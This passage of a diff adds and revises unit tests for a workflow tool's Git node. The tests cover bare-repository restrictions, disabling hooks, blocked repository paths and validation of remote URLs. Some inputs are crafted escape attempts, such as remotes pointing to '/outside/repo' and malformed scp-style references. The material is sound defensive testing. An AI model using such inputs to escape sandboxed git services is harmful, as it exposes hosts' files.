executeFunctions = mock<IExecuteFunctions>({
|
||||
getInputData: vi.fn().mockReturnValue([{ json: {} }]),
|
||||
getNodeParameter: vi.fn(),
|
||||
helpers: {
|
||||
isFilePathBlocked: vi.fn(),
|
||||
returnJsonArray: vi
|
||||
.fn()
|
||||
.mockImplementation((data: unknown[]) => data.map((item: unknown) => ({ json: item }))),
|
||||
},
|
||||
});
|
||||
executeFunctions.getNodeParameter.mockImplementation((name: string) => {
|
||||
switch (name) {
|
||||
case 'operation':
|
||||
return 'log';
|
||||
case 'repositoryPath':
|
||||
return '/tmp/test-repo';
|
||||
case 'options':
|
||||
return {};
|
||||
default:
|
||||
return '';
|
||||
}
|
||||
});
|
||||
|
||||
mockGit.log.mockResolvedValue({ all: [] });
|
||||
|
||||
gitNode = new Git();
|
||||
});
|
||||
|
||||
describe('Bare Repository Configuration', () => {
|
||||
it('should add safe.bareRepository=explicit when deployment type is cloud', async () => {
|
||||
deploymentConfig.type = 'cloud';
|
||||
securityConfig.disableBareRepos = false;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['safe.bareRepository=explicit'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should add safe.bareRepository=explicit when disableBareRepos is true', async () => {
|
||||
deploymentConfig.type = 'default';
|
||||
securityConfig.disableBareRepos = true;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['safe.bareRepository=explicit'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should add safe.bareRepository=explicit when both cloud and disableBareRepos are true', async () => {
|
||||
deploymentConfig.type = 'cloud';
|
||||
securityConfig.disableBareRepos = true;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['safe.bareRepository=explicit'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should not add safe.bareRepository=explicit when neither cloud nor disableBareRepos is true', async () => {
|
||||
deploymentConfig.type = 'default';
|
||||
securityConfig.disableBareRepos = false;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: [],
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Hooks Configuration', () => {
|
||||
it('should add core.hooksPath=/dev/null when enableGitNodeHooks is false', async () => {
|
||||
securityConfig.enableGitNodeHooks = false;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['core.hooksPath=/dev/null'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should opt into allowUnsafeHooksPath when enableGitNodeHooks is false', async () => {
|
||||
securityConfig.enableGitNodeHooks = false;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
unsafe: { allowUnsafeHooksPath: true },
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should not add core.hooksPath=/dev/null when enableGitNodeHooks is true', async () => {
|
||||
securityConfig.enableGitNodeHooks = true;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: [],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should not opt into allowUnsafeHooksPath when enableGitNodeHooks is true', async () => {
|
||||
securityConfig.enableGitNodeHooks = true;
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
const options = mockSimpleGit.mock.calls[0][0] as { unsafe?: unknown };
|
||||
expect(options.unsafe).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Restricted file paths', () => {
|
||||
it('should throw an error if the repository path is blocked', async () => {
|
||||
(executeFunctions.helpers.isFilePathBlocked as Mock).mockReturnValue(true);
|
||||
(executeFunctions.helpers.resolvePath as Mock).mockResolvedValue('/tmp/test-repo');
|
||||
|
||||
await expect(gitNode.execute.call(executeFunctions)).rejects.toThrow(
|
||||
'Access to the repository path is not allowed',
|
||||
);
|
||||
});
|
||||
|
||||
it('should use the resolved repository path for git operations', async () => {
|
||||
const originalPath = '/tmp/link-to-repo';
|
||||
const resolvedPath = '/tmp/actual-repo';
|
||||
|
||||
executeFunctions.getNodeParameter.mockImplementation((name: string) => {
|
||||
switch (name) {
|
||||
case 'operation':
|
||||
return 'log';
|
||||
case 'repositoryPath':
|
||||
return originalPath;
|
||||
case 'options':
|
||||
return {};
|
||||
default:
|
||||
return '';
|
||||
}
|
||||
});
|
||||
|
||||
(executeFunctions.helpers.resolvePath as Mock).mockResolvedValue(resolvedPath);
|
||||
(executeFunctions.helpers.isFilePathBlocked as Mock).mockReturnValue(false);
|
||||
|
||||
await gitNode.execute.call(executeFunctions);
|
||||
|
||||
// Verify git is initialized with the resolved path, not the original
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
baseDir: resolvedPath,
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,17 +1,20 @@
|
|||
import { mock } from 'vitest-mock-extended';
|
||||
import type { IExecuteFunctions, ResolvedFilePath } from 'n8n-workflow';
|
||||
import type { Mocked } from 'vitest';
|
||||
import { dirname } from 'node:path';
|
||||
import { dirname, resolve, sep } from 'node:path';
|
||||
import { pathToFileURL } from 'node:url';
|
||||
import simpleGit, { type SimpleGit } from 'simple-git';
|
||||
import { mkdir, rename, rm } from 'node:fs/promises';
|
||||
import { Container } from '@n8n/di';
|
||||
import { SecurityConfig } from '@n8n/config';
|
||||
import { DeploymentConfig, SecurityConfig } from '@n8n/config';
|
||||
|
||||
import { Git } from '../Git.node';
|
||||
import { ALLOWED_CONFIG_KEYS } from '../descriptions';
|
||||
|
||||
// Matches the unguessable staging directory the clone operation creates under the base.
|
||||
const CLONE_STAGING_RE = /^\/git\/\.n8n-clone-[0-9a-f]{24}$/;
|
||||
const CLONE_STAGING_RE = /^[\\/]git[\\/]\.n8n-clone-[0-9a-f]{24}$/;
|
||||
const GIT_ROOT_RE = /^[\\/]git$/;
|
||||
const GIT_NEW_REPO_RE = /^[\\/]git[\\/]new-repo$/;
|
||||
|
||||
// Mock simple-git
|
||||
const mockGit = {
|
||||
|
|
@ -56,9 +59,21 @@ const mockRm = vi.mocked(rm);
|
|||
describe('Git Node', () => {
|
||||
let gitNode: Git;
|
||||
let mockExecuteFunctions: Mocked<IExecuteFunctions>;
|
||||
let deploymentConfig: Mocked<DeploymentConfig>;
|
||||
let securityConfig: Mocked<SecurityConfig>;
|
||||
|
||||
beforeEach(() => {
|
||||
gitNode = new Git();
|
||||
deploymentConfig = mock<DeploymentConfig>({
|
||||
type: 'default',
|
||||
});
|
||||
securityConfig = mock<SecurityConfig>({
|
||||
disableBareRepos: false,
|
||||
enableGitNodeHooks: true,
|
||||
enableGitNodeAllConfigKeys: false,
|
||||
});
|
||||
Container.set(DeploymentConfig, deploymentConfig);
|
||||
Container.set(SecurityConfig, securityConfig);
|
||||
mockExecuteFunctions = mock<IExecuteFunctions>({
|
||||
getInputData: vi.fn(() => [{ json: {} }]),
|
||||
getNodeParameter: vi.fn(),
|
||||
|
|
@ -76,7 +91,22 @@ describe('Git Node', () => {
|
|||
},
|
||||
});
|
||||
vi.clearAllMocks();
|
||||
mockExecuteFunctions.getNodeParameter.mockImplementation(
|
||||
(name: string, _itemIndex: number, fallbackValue?: unknown) => {
|
||||
switch (name) {
|
||||
case 'operation':
|
||||
return 'log';
|
||||
case 'repositoryPath':
|
||||
return '/repo';
|
||||
case 'options':
|
||||
return {};
|
||||
default:
|
||||
return fallbackValue ?? '';
|
||||
}
|
||||
},
|
||||
);
|
||||
mockGit.listConfig.mockResolvedValue({ values: {} } as any);
|
||||
mockGit.log.mockResolvedValue({ all: [] } as any);
|
||||
mockMkdir.mockResolvedValue(undefined);
|
||||
mockRename.mockResolvedValue(undefined);
|
||||
mockRm.mockResolvedValue(undefined);
|
||||
|
|
@ -108,6 +138,151 @@ describe('Git Node', () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe('Bare repository configuration', () => {
|
||||
it('should add safe.bareRepository=explicit when deployment type is cloud', async () => {
|
||||
deploymentConfig.type = 'cloud';
|
||||
securityConfig.disableBareRepos = false;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['safe.bareRepository=explicit'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should add safe.bareRepository=explicit when disableBareRepos is true', async () => {
|
||||
deploymentConfig.type = 'default';
|
||||
securityConfig.disableBareRepos = true;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['safe.bareRepository=explicit'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should add safe.bareRepository=explicit when both cloud and disableBareRepos are true', async () => {
|
||||
deploymentConfig.type = 'cloud';
|
||||
securityConfig.disableBareRepos = true;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['safe.bareRepository=explicit'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should not add safe.bareRepository=explicit when neither cloud nor disableBareRepos is true', async () => {
|
||||
deploymentConfig.type = 'default';
|
||||
securityConfig.disableBareRepos = false;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: [],
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Hooks configuration', () => {
|
||||
it('should add core.hooksPath=/dev/null when enableGitNodeHooks is false', async () => {
|
||||
securityConfig.enableGitNodeHooks = false;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: ['core.hooksPath=/dev/null'],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should opt into allowUnsafeHooksPath when enableGitNodeHooks is false', async () => {
|
||||
securityConfig.enableGitNodeHooks = false;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
unsafe: { allowUnsafeHooksPath: true },
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should not add core.hooksPath=/dev/null when enableGitNodeHooks is true', async () => {
|
||||
securityConfig.enableGitNodeHooks = true;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: [],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it('should not opt into allowUnsafeHooksPath when enableGitNodeHooks is true', async () => {
|
||||
securityConfig.enableGitNodeHooks = true;
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
const options = mockSimpleGit.mock.calls[0][0] as { unsafe?: unknown };
|
||||
expect(options.unsafe).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Restricted file paths', () => {
|
||||
it('should throw an error if the repository path is blocked', async () => {
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(() => true);
|
||||
mockExecuteFunctions.helpers.resolvePath = vi.fn(
|
||||
async () => '/tmp/test-repo' as ResolvedFilePath,
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the repository path is not allowed',
|
||||
);
|
||||
});
|
||||
|
||||
it('should use the resolved repository path for git operations', async () => {
|
||||
const originalPath = '/tmp/link-to-repo';
|
||||
const resolvedPath = '/tmp/actual-repo';
|
||||
mockExecuteFunctions.getNodeParameter.mockImplementation(
|
||||
(name: string, _itemIndex: number, fallbackValue?: unknown) => {
|
||||
switch (name) {
|
||||
case 'operation':
|
||||
return 'log';
|
||||
case 'repositoryPath':
|
||||
return originalPath;
|
||||
case 'options':
|
||||
return {};
|
||||
default:
|
||||
return fallbackValue ?? '';
|
||||
}
|
||||
},
|
||||
);
|
||||
mockExecuteFunctions.helpers.resolvePath = vi.fn(
|
||||
async () => resolvedPath as ResolvedFilePath,
|
||||
);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(() => false);
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
baseDir: resolvedPath,
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Branch switching', () => {
|
||||
const mockNodeParameters = (params: Record<string, unknown>) => {
|
||||
mockExecuteFunctions.getNodeParameter.mockImplementation(
|
||||
|
|
@ -766,6 +941,226 @@ describe('Git Node', () => {
|
|||
expect(mockGit.addConfig).toHaveBeenCalledWith('user.name', 'test user', false);
|
||||
});
|
||||
|
||||
describe('Configured remotes', () => {
|
||||
const expectRemoteOperationNotCalled = (operation: 'fetch' | 'pull' | 'pushTags') => {
|
||||
if (operation === 'fetch') {
|
||||
expect(mockGit.fetch).not.toHaveBeenCalled();
|
||||
} else if (operation === 'pull') {
|
||||
expect(mockGit.pull).not.toHaveBeenCalled();
|
||||
} else {
|
||||
expect(mockGit.pushTags).not.toHaveBeenCalled();
|
||||
}
|
||||
};
|
||||
|
||||
it('should validate remote.origin.url before writing git config', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('addConfig')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('remote.origin.url')
|
||||
.mockReturnValueOnce('/outside/repo');
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/repo',
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the source repository path is not allowed',
|
||||
);
|
||||
|
||||
expect(mockGit.addConfig).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should validate remote.origin.pushurl before writing git config when custom keys are enabled', async () => {
|
||||
Container.set(
|
||||
SecurityConfig,
|
||||
mock<SecurityConfig>({
|
||||
enableGitNodeAllConfigKeys: true,
|
||||
}),
|
||||
);
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('addConfig')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('remote.origin.pushurl')
|
||||
.mockReturnValueOnce('/outside/repo');
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/repo',
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the target repository path is not allowed',
|
||||
);
|
||||
|
||||
expect(mockGit.addConfig).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ key: 'remote.upstream.url', repositoryType: 'source' },
|
||||
{ key: 'remote.upstream.pushurl', repositoryType: 'target' },
|
||||
{ key: 'remote.team.upstream.url', repositoryType: 'source' },
|
||||
{ key: 'remote.team.upstream.pushurl', repositoryType: 'target' },
|
||||
{ key: 'remote.upstream.URL', repositoryType: 'source' },
|
||||
{ key: 'remote.upstream.PushURL', repositoryType: 'target' },
|
||||
])(
|
||||
'should validate $key before writing git config when custom keys are enabled',
|
||||
async ({ key, repositoryType }) => {
|
||||
Container.set(
|
||||
SecurityConfig,
|
||||
mock<SecurityConfig>({
|
||||
enableGitNodeAllConfigKeys: true,
|
||||
}),
|
||||
);
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('addConfig')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce(key)
|
||||
.mockReturnValueOnce('/outside/repo');
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/repo',
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
`Access to the ${repositoryType} repository path is not allowed`,
|
||||
);
|
||||
|
||||
expect(mockGit.addConfig).not.toHaveBeenCalled();
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
{ operation: 'fetch' as const, configKey: 'remote.origin.url', repositoryType: 'source' },
|
||||
{
|
||||
operation: 'fetch' as const,
|
||||
configKey: 'remote.upstream.url',
|
||||
repositoryType: 'source',
|
||||
},
|
||||
{ operation: 'pull' as const, configKey: 'remote.origin.url', repositoryType: 'source' },
|
||||
{
|
||||
operation: 'pull' as const,
|
||||
configKey: 'remote.upstream.url',
|
||||
repositoryType: 'source',
|
||||
},
|
||||
{
|
||||
operation: 'pushTags' as const,
|
||||
configKey: 'remote.origin.url',
|
||||
repositoryType: 'target',
|
||||
},
|
||||
{
|
||||
operation: 'pushTags' as const,
|
||||
configKey: 'remote.origin.pushurl',
|
||||
repositoryType: 'target',
|
||||
},
|
||||
{
|
||||
operation: 'pushTags' as const,
|
||||
configKey: 'remote.upstream.pushurl',
|
||||
repositoryType: 'target',
|
||||
},
|
||||
])(
|
||||
'should validate configured $configKey before $operation',
|
||||
async ({ operation, configKey, repositoryType }) => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce(operation)
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({});
|
||||
mockGit.listConfig.mockResolvedValueOnce({
|
||||
values: {
|
||||
'.git/config': {
|
||||
'remote.origin.url': 'https://github.com/test/repo.git',
|
||||
[configKey]: '/outside/repo',
|
||||
},
|
||||
},
|
||||
} as any);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/repo',
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
`Access to the ${repositoryType} repository path is not allowed`,
|
||||
);
|
||||
|
||||
expectRemoteOperationNotCalled(operation);
|
||||
},
|
||||
);
|
||||
|
||||
it.each(['fetch' as const, 'pull' as const])(
|
||||
'should not validate configured push URLs before %s',
|
||||
async (operation) => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce(operation)
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({});
|
||||
mockGit.listConfig.mockResolvedValueOnce({
|
||||
values: {
|
||||
'.git/config': {
|
||||
'remote.origin.url': 'https://github.com/test/repo.git',
|
||||
'remote.origin.pushurl': '/outside/repo',
|
||||
},
|
||||
},
|
||||
} as any);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/repo',
|
||||
);
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
if (operation === 'fetch') {
|
||||
expect(mockGit.fetch).toHaveBeenCalled();
|
||||
} else {
|
||||
expect(mockGit.pull).toHaveBeenCalled();
|
||||
}
|
||||
},
|
||||
);
|
||||
|
||||
it('should validate non-origin remotes before default push', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('push')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('none');
|
||||
mockGit.listConfig.mockResolvedValueOnce({
|
||||
values: {
|
||||
'.git/config': {
|
||||
'remote.origin.url': 'https://github.com/test/repo.git',
|
||||
'remote.upstream.pushurl': '/outside/repo',
|
||||
},
|
||||
},
|
||||
} as any);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/repo',
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the target repository path is not allowed',
|
||||
);
|
||||
|
||||
expect(mockGit.push).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should prefer push URLs over source URLs when validating default push targets', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('push')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('none');
|
||||
mockGit.listConfig.mockResolvedValueOnce({
|
||||
values: {
|
||||
'.git/config': {
|
||||
'remote.origin.url': '/outside/source-repo',
|
||||
'remote.origin.pushurl': 'https://github.com/test/push-repo.git',
|
||||
},
|
||||
},
|
||||
} as any);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/outside/source-repo',
|
||||
);
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockGit.push).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle clone operation and create the parent directory', async () => {
|
||||
const missingParentError = Object.assign(new Error('Directory does not exist'), {
|
||||
code: 'ENOENT',
|
||||
|
|
@ -785,7 +1180,9 @@ describe('Git Node', () => {
|
|||
|
||||
expect(mockExecuteFunctions.helpers.resolvePath).toHaveBeenCalledWith('/git/new-repo');
|
||||
expect(mockExecuteFunctions.helpers.resolvePath).toHaveBeenCalledWith('/git');
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(expect.objectContaining({ baseDir: '/git' }));
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ baseDir: expect.stringMatching(GIT_ROOT_RE) }),
|
||||
);
|
||||
|
||||
// The clone goes into an unguessable staging directory, not the target.
|
||||
const stagingPath = mockGit.clone.mock.calls[0][1] as unknown as string;
|
||||
|
|
@ -798,11 +1195,11 @@ describe('Git Node', () => {
|
|||
// The target is verified and then the staged clone is moved into place.
|
||||
expect(
|
||||
mockExecuteFunctions.helpers.ensureParentDirectoryWithoutFollowingSymlinks,
|
||||
).toHaveBeenCalledWith('/git/new-repo');
|
||||
).toHaveBeenCalledWith(expect.stringMatching(GIT_NEW_REPO_RE));
|
||||
expect(mockExecuteFunctions.helpers.assertNoSymlinkInPath).toHaveBeenCalledWith(
|
||||
'/git/new-repo',
|
||||
expect.stringMatching(GIT_NEW_REPO_RE),
|
||||
);
|
||||
expect(mockRename).toHaveBeenCalledWith(stagingPath, '/git/new-repo');
|
||||
expect(mockRename).toHaveBeenCalledWith(stagingPath, expect.stringMatching(GIT_NEW_REPO_RE));
|
||||
expect(result[0]).toEqual([{ json: { success: true }, pairedItem: { item: 0 } }]);
|
||||
});
|
||||
|
||||
|
|
@ -836,7 +1233,9 @@ describe('Git Node', () => {
|
|||
expect(
|
||||
mockExecuteFunctions.helpers.ensureParentDirectoryWithoutFollowingSymlinks,
|
||||
).toHaveBeenCalledWith('/git/existing-repo');
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(expect.objectContaining({ baseDir: '/git' }));
|
||||
expect(mockSimpleGit).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ baseDir: expect.stringMatching(GIT_ROOT_RE) }),
|
||||
);
|
||||
const stagingPath = mockGit.clone.mock.calls[0][1] as unknown as string;
|
||||
expect(stagingPath).toMatch(CLONE_STAGING_RE);
|
||||
expect(mockGit.clone).toHaveBeenCalledWith('https://github.com/test/repo.git', stagingPath, [
|
||||
|
|
@ -916,19 +1315,61 @@ describe('Git Node', () => {
|
|||
expect(mockGit.clone).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should check file URL source repository paths', async () => {
|
||||
it('should not treat Unix local source repository paths with colons as scp-style remotes', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('clone')
|
||||
.mockReturnValueOnce('/git/new-repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('file:/tmp/source-repo');
|
||||
.mockReturnValueOnce('/blocked/source:repo');
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn(
|
||||
(path: string) => path === '/blocked/source:repo',
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the source repository path is not allowed',
|
||||
);
|
||||
|
||||
expect(mockSimpleGit).not.toHaveBeenCalled();
|
||||
expect(mockGit.clone).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should keep validating Windows local source repository paths', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('clone')
|
||||
.mockReturnValueOnce('/git/new-repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('C:\\blocked\\source-repo');
|
||||
mockExecuteFunctions.helpers.resolvePath = vi.fn(
|
||||
async (path: string) => path as ResolvedFilePath,
|
||||
);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn((path: string) =>
|
||||
path.includes('C:\\blocked\\source-repo'),
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the source repository path is not allowed',
|
||||
);
|
||||
|
||||
expect(mockSimpleGit).not.toHaveBeenCalled();
|
||||
expect(mockGit.clone).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should check file URL source repository paths', async () => {
|
||||
const sourcePath = resolve(sep, 'tmp', 'source-repo');
|
||||
const sourceRepository = pathToFileURL(sourcePath).href;
|
||||
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('clone')
|
||||
.mockReturnValueOnce('/git/new-repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce(sourceRepository);
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(mockExecuteFunctions.helpers.resolvePath).toHaveBeenCalledWith('/tmp/source-repo');
|
||||
expect(mockExecuteFunctions.helpers.resolvePath).toHaveBeenCalledWith(sourcePath);
|
||||
const stagingPath = mockGit.clone.mock.calls[0][1] as unknown as string;
|
||||
expect(stagingPath).toMatch(CLONE_STAGING_RE);
|
||||
expect(mockGit.clone).toHaveBeenCalledWith('file:/tmp/source-repo', stagingPath, ['--']);
|
||||
expect(mockGit.clone).toHaveBeenCalledWith(sourceRepository, stagingPath, ['--']);
|
||||
expect(mockRename).toHaveBeenCalledWith(stagingPath, '/git/new-repo');
|
||||
});
|
||||
|
||||
|
|
@ -950,6 +1391,25 @@ describe('Git Node', () => {
|
|||
);
|
||||
});
|
||||
|
||||
it('should reject malformed scp-like source repository references with extra at signs', async () => {
|
||||
const sourceRepository = 'git@malformed@github.com:org/repo.git';
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('clone')
|
||||
.mockReturnValueOnce('/git/new-repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce(sourceRepository);
|
||||
mockExecuteFunctions.helpers.isFilePathBlocked = vi.fn((path: string) =>
|
||||
path.includes('git@malformed@github.com:org'),
|
||||
);
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Access to the source repository path is not allowed',
|
||||
);
|
||||
|
||||
expect(mockSimpleGit).not.toHaveBeenCalled();
|
||||
expect(mockGit.clone).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should reject clone source repositories starting with a hyphen', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('clone')
|
||||
|
|
@ -1033,6 +1493,22 @@ describe('Git Node', () => {
|
|||
expect(envArg.GIT_ALLOW_PROTOCOL).toBe('file:git:http:https:ssh');
|
||||
});
|
||||
|
||||
it.each(['push', 'pushTags'])(
|
||||
'should disable the file transport for %s when hooks are disabled',
|
||||
async (operation) => {
|
||||
securityConfig.enableGitNodeHooks = false;
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce(operation)
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({});
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
const envArg = mockGit.env.mock.calls[0][0] as Record<string, string>;
|
||||
expect(envArg.GIT_ALLOW_PROTOCOL).toBe('git:http:https:ssh');
|
||||
},
|
||||
);
|
||||
|
||||
it('should not place the repository when a target path component is a symlink', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('clone')
|
||||
|
|
@ -1314,6 +1790,48 @@ invalid line without proper format`;
|
|||
});
|
||||
});
|
||||
|
||||
describe('Tag reference validation', () => {
|
||||
it('should accept tag operation when name contains a plus sign', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('tag')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('v1.2.3+build.1');
|
||||
|
||||
await gitNode.execute.call(mockExecuteFunctions);
|
||||
|
||||
